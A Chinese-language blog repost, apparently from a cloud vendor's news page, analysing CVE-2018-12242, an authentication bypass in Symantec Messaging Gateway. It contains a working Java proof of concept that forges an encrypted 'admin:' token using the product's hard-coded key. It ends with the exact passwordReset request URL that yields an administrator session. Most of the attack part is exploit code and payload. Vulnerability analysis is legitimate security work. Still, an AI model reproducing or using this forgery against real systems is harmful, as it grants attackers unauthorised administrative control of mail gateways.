温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

怎么实现CVE-2018-12242漏洞分析

发布时间:2021-12-22 23:47:04 来源:亿速云 阅读:145 作者:柒染 栏目:安全技术

怎么实现CVE-2018-12242漏洞分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

CVE-2018-12242

手里有symantec的源码 于是立刻就分析了    存在手里一直没动

先上poc

import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import sun.misc.BASE64Encoder;




public class Test{
       public
static void main(String args[]){
              try{
                     //System.out.print(123);

                     byte[]
salt = new byte[8];
                     SecureRandom
random = SecureRandom.getInstance("SHA1PRNG");
                     random.nextBytes(salt);
                     PBEKeySpec
keySpec = new
PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());
                     SecretKeyFactory
keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
                     SecretKey
key = keyFactory.generateSecret(keySpec);
                     PBEParameterSpec
paramSpec = new PBEParameterSpec(salt, 1000);
                     Cipher
cipher = Cipher.getInstance("PBEWithMD5AndDES");


                     cipher.init(1,
key, paramSpec);


                     //byte[]
salt;


                     BASE64Encoder
encoder = new BASE64Encoder();


                     String
saltString = encoder.encode(salt);


                     String
text = "admin:";


                     byte[]
ciphertext = cipher.doFinal(text.getBytes());


                     String
ciphertextString = encoder.encode(ciphertext);


                     System.out.print(saltString
+ ciphertextString);


              }catch
(Exception e){


                     System.out.print(e);


              }


 


       }


}

核心还是在加密解密这块

怎么实现CVE-2018-12242漏洞分析

加密算法一直是固定的

但是FIPS186PRNG这个算法太古老了

只能拿SHA1PRNG代替

              怎么实现CVE-2018-12242漏洞分析

接下来分析一波漏洞触发点

token = BrightmailDecrypt.decrypt(token);

接收到token用公共的解密方法解密

解密之后按  “  :  ”

分割 前面为username  后面为 passwordhash

然后按username做sql查询

然后调用getAdministratorUserByName方法

怎么实现CVE-2018-12242漏洞分析

 GetSQLAdministratorUserByName生成sql语句

然后查询

接着对比

如果user为空会抛出一个不存在该用户的异常

如果passwordhash与查询到的passwordhash不一致也会抛出异常

那么passwordhash是什么呢

在开启重置密码选项后 该字段为空。。。

然后创建一个admin session的正常操作….

那么最终payload为

/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d

怎么实现CVE-2018-12242漏洞分析

看完上述内容,你们掌握怎么实现CVE-2018-12242漏洞分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI